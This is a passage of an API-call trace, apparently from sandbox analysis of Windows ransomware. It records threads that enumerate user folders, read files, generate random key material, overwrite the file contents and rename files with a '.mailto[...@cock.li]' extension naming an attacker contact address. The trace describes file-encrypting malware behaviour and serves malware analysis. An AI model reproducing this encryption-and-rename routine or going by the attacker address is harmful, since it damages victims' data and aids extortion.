	[0076.941] wcscat (in: _Dest=0x2e00130, _Source="\\" | out: _Dest="C:\\Users\\Default.migrated\\AppData\\") returned="C:\\Users\\Default.migrated\\AppData\\"
	[0076.941] wcscat (in: _Dest=0x2e00130, _Source="*" | out: _Dest="C:\\Users\\Default.migrated\\AppData\\*") returned="C:\\Users\\Default.migrated\\AppData\\*"
	[0076.941] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2df7620
	[0076.941] FindFirstFileW (in: lpFileName="C:\\Users\\Default.migrated\\AppData\\*", lpFindFileData=0x2df7620 | out: lpFindFileData=0x2df7620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x7205420a, ftLastAccessTime.dwHighDateTime=0x1d32720, ftLastWriteTime.dwLowDateTime=0x7205420a, ftLastWriteTime.dwHighDateTime=0x1d32720, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2dad6f8
	[0079.356] wcscmp (_String1=".", _String2=".") returned 0
	[0079.356] FindNextFileW (in: hFindFile=0x2dad6f8, lpFindFileData=0x2df7620 | out: lpFindFileData=0x2df7620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x7205420a, ftLastAccessTime.dwHighDateTime=0x1d32720, ftLastWriteTime.dwLowDateTime=0x7205420a, ftLastWriteTime.dwHighDateTime=0x1d32720, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.356] wcscmp (_String1="..", _String2=".") returned 1
	[0079.356] wcscmp (_String1="..", _String2="..") returned 0
	[0079.356] FindNextFileW (in: hFindFile=0x2dad6f8, lpFindFileData=0x2df7620 | out: lpFindFileData=0x2df7620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x7202dfa5, ftLastAccessTime.dwHighDateTime=0x1d32720, ftLastWriteTime.dwLowDateTime=0x7202dfa5, ftLastWriteTime.dwHighDateTime=0x1d32720, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Local", cAlternateFileName="")) returned 1
	[0079.356] wcscmp (_String1="Local", _String2=".") returned 1
	[0079.356] wcscmp (_String1="Local", _String2="..") returned 1
	[0079.356] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x50) returned 0x2dac1b8
	[0079.356] wcscpy (in: _Dest=0x2dac1b8, _Source="C:\\Users\\Default.migrated\\AppData" | out: _Dest="C:\\Users\\Default.migrated\\AppData") returned="C:\\Users\\Default.migrated\\AppData"
	[0079.356] wcscat (in: _Dest=0x2dac1b8, _Source="\\" | out: _Dest="C:\\Users\\Default.migrated\\AppData\\") returned="C:\\Users\\Default.migrated\\AppData\\"
	[0079.356] wcscat (in: _Dest=0x2dac1b8, _Source="Local" | out: _Dest="C:\\Users\\Default.migrated\\AppData\\Local") returned="C:\\Users\\Default.migrated\\AppData\\Local"

Thread:
	id = 400
	os_tid = 0x1568

	[0076.943] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x4c) returned 0x2dabef8
	[0076.943] wcscpy (in: _Dest=0x2dabef8, _Source="C:\\Users\\Default.migrated\\Documents" | out: _Dest="C:\\Users\\Default.migrated\\Documents") returned="C:\\Users\\Default.migrated\\Documents"
	[0076.943] wcscat (in: _Dest=0x2dabef8, _Source="\\" | out: _Dest="C:\\Users\\Default.migrated\\Documents\\") returned="C:\\Users\\Default.migrated\\Documents\\"
	[0076.943] wcscat (in: _Dest=0x2dabef8, _Source="*" | out: _Dest="C:\\Users\\Default.migrated\\Documents\\*") returned="C:\\Users\\Default.migrated\\Documents\\*"
	[0076.943] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x47a4c08
	[0076.943] FindFirstFileW (in: lpFileName="C:\\Users\\Default.migrated\\Documents\\*", lpFindFileData=0x47a4c08 | out: lpFindFileData=0x47a4c08*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc4204fb0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5636bd87, ftLastWriteTime.dwHighDateTime=0x1d32720, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2dad738
	[0079.358] wcscmp (_String1=".", _String2=".") returned 0
	[0079.358] FindNextFileW (in: hFindFile=0x2dad738, lpFindFileData=0x47a4c08 | out: lpFindFileData=0x47a4c08*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc4204fb0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5636bd87, ftLastWriteTime.dwHighDateTime=0x1d32720, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.358] wcscmp (_String1="..", _String2=".") returned 1
	[0079.358] wcscmp (_String1="..", _String2="..") returned 0
	[0079.358] FindNextFileW (in: hFindFile=0x2dad738, lpFindFileData=0x47a4c08 | out: lpFindFileData=0x47a4c08*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0xe99a3d0f, ftCreationTime.dwHighDateTime=0x1d32708, ftLastAccessTime.dwLowDateTime=0xe99a3d0f, ftLastAccessTime.dwHighDateTime=0x1d32708, ftLastWriteTime.dwLowDateTime=0xe99a3d0f, ftLastWriteTime.dwHighDateTime=0x1d32708, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Music", cAlternateFileName="MYMUSI~1")) returned 1
	[0079.358] wcscmp (_String1="My Music", _String2=".") returned 1
	[0079.358] wcscmp (_String1="My Music", _String2="..") returned 1
	[0079.358] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5a) returned 0x4780028
	[0079.358] wcscpy (in: _Dest=0x4780028, _Source="C:\\Users\\Default.migrated\\Documents" | out: _Dest="C:\\Users\\Default.migrated\\Documents") returned="C:\\Users\\Default.migrated\\Documents"
	[0079.358] wcscat (in: _Dest=0x4780028, _Source="\\" | out: _Dest="C:\\Users\\Default.migrated\\Documents\\") returned="C:\\Users\\Default.migrated\\Documents\\"
	[0079.358] wcscat (in: _Dest=0x4780028, _Source="My Music" | out: _Dest="C:\\Users\\Default.migrated\\Documents\\My Music") returned="C:\\Users\\Default.migrated\\Documents\\My Music"

Thread:
	id = 401
	os_tid = 0x156c

	[0076.944] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-storemgr%4operational.evtx")) returned 0x20
	[0080.463] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx", dwFileAttributes=0x20) returned 1
	[0080.463] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-storemgr%4operational.evtx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x9c0
	[0080.463] GetFileSizeEx (in: hFile=0x9c0, lpFileSize=0x1093f9cc | out: lpFileSize=0x1093f9cc*=69632) returned 1
	[0080.463] SetFilePointerEx (in: hFile=0x9c0, liDistanceToMove=0x10ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.463] ReadFile (in: hFile=0x9c0, lpBuffer=0x1093f950, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1093f94c, lpOverlapped=0x0 | out: lpBuffer=0x1093f950*, lpNumberOfBytesRead=0x1093f94c*=0x4, lpOverlapped=0x0) returned 1
	[0080.736] SetFilePointerEx (in: hFile=0x9c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.736] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e344d8
	[0080.736] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e343e8
	[0080.736] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33fd8
	[0080.736] NtQuerySystemTime (in: CurrentTime=0x1093f92c | out: CurrentTime=0x1093f92c*=132251868074682323) returned 0x0
	[0080.736] RtlRandom (in: Seed=0x1093f938 | out: Seed=0x1093f938) returned 0x52c0d436
	[0080.736] RtlRandom (in: Seed=0x1093f938 | out: Seed=0x1093f938) returned 0x1217cbe5
	[0080.736] RtlRandom (in: Seed=0x1093f938 | out: Seed=0x1093f938) returned 0x622f8e06
	[0080.736] RtlRandom (in: Seed=0x1093f938 | out: Seed=0x1093f938) returned 0xe75a5e69
	[0080.736] RtlRandom (in: Seed=0x1093f938 | out: Seed=0x1093f938) returned 0x98f6cce8
	[0080.736] RtlRandom (in: Seed=0x1093f938 | out: Seed=0x1093f938) returned 0x25c49712
	[0080.736] RtlRandom (in: Seed=0x1093f938 | out: Seed=0x1093f938) returned 0x1f405751
	[0080.736] RtlRandom (in: Seed=0x1093f938 | out: Seed=0x1093f938) returned 0x4f22b3ce
	[0080.736] RtlRandom (in: Seed=0x1093f938 | out: Seed=0x1093f938) returned 0x494c5d1a
	[0080.736] RtlRandom (in: Seed=0x1093f938 | out: Seed=0x1093f938) returned 0x753ac0b4
	[0080.736] RtlRandom (in: Seed=0x1093f938 | out: Seed=0x1093f938) returned 0xf6587019
	[0080.736] RtlRandom (in: Seed=0x1093f938 | out: Seed=0x1093f938) returned 0xd316fddc
	[0080.736] RtlRandom (in: Seed=0x1093f938 | out: Seed=0x1093f938) returned 0xaf6a3b73
	[0080.736] RtlRandom (in: Seed=0x1093f938 | out: Seed=0x1093f938) returned 0x66590d71
	[0080.736] RtlRandom (in: Seed=0x1093f938 | out: Seed=0x1093f938) returned 0xe6f004a9
	[0080.736] RtlRandom (in: Seed=0x1093f938 | out: Seed=0x1093f938) returned 0x2ceff0f9
	[0080.736] RtlRandom (in: Seed=0x1093f938 | out: Seed=0x1093f938) returned 0x94851eed
	[0080.736] RtlRandom (in: Seed=0x1093f938 | out: Seed=0x1093f938) returned 0x2ca9de45
	[0080.736] RtlRandom (in: Seed=0x1093f938 | out: Seed=0x1093f938) returned 0xe590e321
	[0080.736] RtlRandom (in: Seed=0x1093f938 | out: Seed=0x1093f938) returned 0xa2035887
	[0080.736] RtlRandom (in: Seed=0x1093f938 | out: Seed=0x1093f938) returned 0x4785c099
	[0080.736] RtlRandom (in: Seed=0x1093f938 | out: Seed=0x1093f938) returned 0xf6359ec
	[0080.737] RtlRandom (in: Seed=0x1093f938 | out: Seed=0x1093f938) returned 0xb3cdb084
	[0080.737] RtlRandom (in: Seed=0x1093f938 | out: Seed=0x1093f938) returned 0x1bfe4bde
	[0080.737] RtlRandom (in: Seed=0x1093f938 | out: Seed=0x1093f938) returned 0xcb5ce260
	[0080.737] RtlRandom (in: Seed=0x1093f938 | out: Seed=0x1093f938) returned 0x9b5f2ded
	[0080.737] RtlRandom (in: Seed=0x1093f938 | out: Seed=0x1093f938) returned 0x8b96072e
	[0080.737] RtlRandom (in: Seed=0x1093f938 | out: Seed=0x1093f938) returned 0x91808527
	[0080.737] RtlRandom (in: Seed=0x1093f938 | out: Seed=0x1093f938) returned 0xc21e4218
	[0080.737] RtlRandom (in: Seed=0x1093f938 | out: Seed=0x1093f938) returned 0xa381e39
	[0080.737] RtlRandom (in: Seed=0x1093f938 | out: Seed=0x1093f938) returned 0x570c7b34
	[0080.737] RtlRandom (in: Seed=0x1093f938 | out: Seed=0x1093f938) returned 0xbcc7a3f3
	[0080.763] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34348
	[0080.764] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4753c50
	[0080.764] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34118
	[0080.764] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753c50) returned 1
	[0080.764] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33fd8) returned 1
	[0080.764] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e344d8) returned 1
	[0080.764] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x48a3810
	[0080.767] SetFilePointerEx (in: hFile=0x9c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.767] ReadFile (in: hFile=0x9c0, lpBuffer=0x48a3810, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x1093f90c, lpOverlapped=0x0 | out: lpBuffer=0x48a3810*, lpNumberOfBytesRead=0x1093f90c*=0xc800, lpOverlapped=0x0) returned 1
	[0081.059] SetFilePointerEx (in: hFile=0x9c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.059] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfa928
	[0081.059] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4753890
	[0081.059] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33ac8
	[0081.059] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33ac8) returned 1
	[0081.060] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4f61fb0
	[0081.063] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33aa0
	[0081.063] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e337d0
	[0081.063] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e337d0) returned 1
	[0081.063] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753890) returned 1
	[0081.063] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfa928) returned 1
	[0081.063] WriteFile (in: hFile=0x9c0, lpBuffer=0x4f61fb0*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x1093f90c, lpOverlapped=0x0 | out: lpBuffer=0x4f61fb0*, lpNumberOfBytesWritten=0x1093f90c*=0xc800, lpOverlapped=0x0) returned 1
	[0081.211] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f61fb0) returned 1
	[0081.211] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x48a3810) returned 1
	[0081.211] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x73) returned 0x47bd190
	[0081.211] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfa808
	[0081.211] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04630
	[0081.211] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33e60
	[0081.211] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33e60) returned 1
	[0081.211] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x73) returned 0x47bd210
	[0081.211] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33d20
	[0081.211] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33f78
	[0081.211] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33f78) returned 1
	[0081.211] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04630) returned 1
	[0081.211] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfa808) returned 1
	[0081.211] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x157) returned 0x4782c38
	[0081.211] SetFilePointerEx (in: hFile=0x9c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.211] WriteFile (in: hFile=0x9c0, lpBuffer=0x4782c38*, nNumberOfBytesToWrite=0x157, lpNumberOfBytesWritten=0x1093f98c, lpOverlapped=0x0 | out: lpBuffer=0x4782c38*, lpNumberOfBytesWritten=0x1093f98c*=0x157, lpOverlapped=0x0) returned 1
	[0081.294] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4782c38) returned 1
	[0081.294] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47bd210) returned 1
	[0081.295] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33d20) returned 1
	[0081.295] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47bd190) returned 1
	[0081.295] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33aa0) returned 1
	[0081.295] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e343e8) returned 1
	[0081.295] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34348) returned 1
	[0081.295] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34118) returned 1
	[0081.295] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbe) returned 0x476bb18
	[0081.295] wcscpy (in: _Dest=0x476bb18, _Source="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx"
	[0081.295] wcscat (in: _Dest=0x476bb18, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0081.295] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x1093f944, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0081.295] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd4) returned 0x4774190
	[0081.295] NtSetInformationFile (FileHandle=0x9c0, IoStatusBlock=0x1093f93c, FileInformation=0x4774190, Length=0xd4, FileInformationClass=0xa) returned 0x0
	[0087.751] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4774190) returned 1
	[0087.751] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47c9510) returned 1
	[0087.751] NtQueryInformationFile (in: FileHandle=0x9c0, IoStatusBlock=0x1093f950, FileInformation=0x1093f928, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1093f950, FileInformation=0x1093f928) returned 0x0
	[0087.751] NtSetInformationFile (FileHandle=0x9c0, IoStatusBlock=0x1093f950, FileInformation=0x1093f928, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0087.754] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x476bb18) returned 1
	[0087.754] FlushFileBuffers (hFile=0x9c0) returned 1
	[0092.688] CloseHandle (hObject=0x9c0) 

Thread:
	id = 402
	os_tid = 0x1570

	[0076.945] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4errors.evtx")) returned 0x20
	[0080.451] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx", dwFileAttributes=0x20) returned 1
	[0080.451] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4errors.evtx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x9d0
	[0080.451] GetFileSizeEx (in: hFile=0x9d0, lpFileSize=0x109bfd28 | out: lpFileSize=0x109bfd28*=69632) returned 1
	[0080.452] SetFilePointerEx (in: hFile=0x9d0, liDistanceToMove=0x10ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.452] ReadFile (in: hFile=0x9d0, lpBuffer=0x109bfcac, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x109bfca8, lpOverlapped=0x0 | out: lpBuffer=0x109bfcac*, lpNumberOfBytesRead=0x109bfca8*=0x4, lpOverlapped=0x0) returned 1
	[0080.501] SetFilePointerEx (in: hFile=0x9d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.501] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47813a0
	[0080.501] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781558
	[0080.501] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47815d0
	[0080.501] NtQuerySystemTime (in: CurrentTime=0x109bfc88 | out: CurrentTime=0x109bfc88*=132251868072338223) returned 0x0
	[0080.501] RtlRandom (in: Seed=0x109bfc94 | out: Seed=0x109bfc94) returned 0xb204eeef
	[0080.501] RtlRandom (in: Seed=0x109bfc94 | out: Seed=0x109bfc94) returned 0x8f9fe884
	[0080.501] RtlRandom (in: Seed=0x109bfc94 | out: Seed=0x109bfc94) returned 0xb53687c1
	[0080.501] RtlRandom (in: Seed=0x109bfc94 | out: Seed=0x109bfc94) returned 0x56f08574
	[0080.501] RtlRandom (in: Seed=0x109bfc94 | out: Seed=0x109bfc94) returned 0xf915258d
	[0080.501] RtlRandom (in: Seed=0x109bfc94 | out: Seed=0x109bfc94) returned 0x596d058e
	[0080.501] RtlRandom (in: Seed=0x109bfc94 | out: Seed=0x109bfc94) returned 0x4cf6b5f3
	[0080.502] RtlRandom (in: Seed=0x109bfc94 | out: Seed=0x109bfc94) returned 0x479da35
	[0080.502] RtlRandom (in: Seed=0x109bfc94 | out: Seed=0x109bfc94) returned 0x39a0975d
	[0080.502] RtlRandom (in: Seed=0x109bfc94 | out: Seed=0x109bfc94) returned 0x261c8619
	[0080.502] RtlRandom (in: Seed=0x109bfc94 | out: Seed=0x109bfc94) returned 0x42a8f44c
	[0080.502] RtlRandom (in: Seed=0x109bfc94 | out: Seed=0x109bfc94) returned 0x81687da3
	[0080.502] RtlRandom (in: Seed=0x109bfc94 | out: Seed=0x109bfc94) returned 0x3a18acbc
	[0080.502] RtlRandom (in: Seed=0x109bfc94 | out: Seed=0x109bfc94) returned 0xc13b1da0
	[0080.502] RtlRandom (in: Seed=0x109bfc94 | out: Seed=0x109bfc94) returned 0x9986964f
	[0080.502] RtlRandom (in: Seed=0x109bfc94 | out: Seed=0x109bfc94) returned 0x4976be6d
	[0080.502] RtlRandom (in: Seed=0x109bfc94 | out: Seed=0x109bfc94) returned 0xa0f431b5
	[0080.502] RtlRandom (in: Seed=0x109bfc94 | out: Seed=0x109bfc94) returned 0xcaf1400d
	[0080.502] RtlRandom (in: Seed=0x109bfc94 | out: Seed=0x109bfc94) returned 0xd094bb58
	[0080.502] RtlRandom (in: Seed=0x109bfc94 | out: Seed=0x109bfc94) returned 0x66ba820a
	[0080.502] RtlRandom (in: Seed=0x109bfc94 | out: Seed=0x109bfc94) returned 0xe5a94f90
	[0080.502] RtlRandom (in: Seed=0x109bfc94 | out: Seed=0x109bfc94) returned 0xbaa58348
	[0080.502] RtlRandom (in: Seed=0x109bfc94 | out: Seed=0x109bfc94) returned 0x6d02d058
	[0080.502] RtlRandom (in: Seed=0x109bfc94 | out: Seed=0x109bfc94) returned 0xad80c11d
	[0080.502] RtlRandom (in: Seed=0x109bfc94 | out: Seed=0x109bfc94) returned 0x5ce23e95
	[0080.502] RtlRandom (in: Seed=0x109bfc94 | out: Seed=0x109bfc94) returned 0x33bb9525
	[0080.502] RtlRandom (in: Seed=0x109bfc94 | out: Seed=0x109bfc94) returned 0xf28ff5f7
	[0080.502] RtlRandom (in: Seed=0x109bfc94 | out: Seed=0x109bfc94) returned 0xf5f86147
	[0080.502] RtlRandom (in: Seed=0x109bfc94 | out: Seed=0x109bfc94) returned 0x987bfc99
	[0080.502] RtlRandom (in: Seed=0x109bfc94 | out: Seed=0x109bfc94) returned 0x576d6adc
	[0080.502] RtlRandom (in: Seed=0x109bfc94 | out: Seed=0x109bfc94) returned 0x258016c7
	[0080.502] RtlRandom (in: Seed=0x109bfc94 | out: Seed=0x109bfc94) returned 0x82b14b6f
	[0080.511] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781a30
	[0080.512] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4753c50
	[0080.513] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781918
	[0080.513] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753c50) returned 1
	[0080.513] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47815d0) returned 1
	[0080.513] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47813a0) returned 1
	[0080.513] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x46e9068
	[0080.515] SetFilePointerEx (in: hFile=0x9d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.515] ReadFile (in: hFile=0x9d0, lpBuffer=0x46e9068, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x109bfc68, lpOverlapped=0x0 | out: lpBuffer=0x46e9068*, lpNumberOfBytesRead=0x109bfc68*=0xc800, lpOverlapped=0x0) returned 1
	[0080.985] SetFilePointerEx (in: hFile=0x9d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.986] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfa928
	[0080.986] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4753f20
	[0080.986] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77240
	[0080.986] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77240) returned 1
	[0080.988] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4845020
	[0080.992] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77240
	[0080.992] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d76d68
	[0080.992] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d76d68) returned 1
	[0080.992] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753f20) returned 1
	[0080.992] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfa928) returned 1
	[0080.992] WriteFile (in: hFile=0x9d0, lpBuffer=0x4845020*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x109bfc68, lpOverlapped=0x0 | out: lpBuffer=0x4845020*, lpNumberOfBytesWritten=0x109bfc68*=0xc800, lpOverlapped=0x0) returned 1
	[0084.647] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4845020) returned 1
	[0084.647] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x46e9068) returned 1
	[0084.647] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x61) returned 0x47ecea0
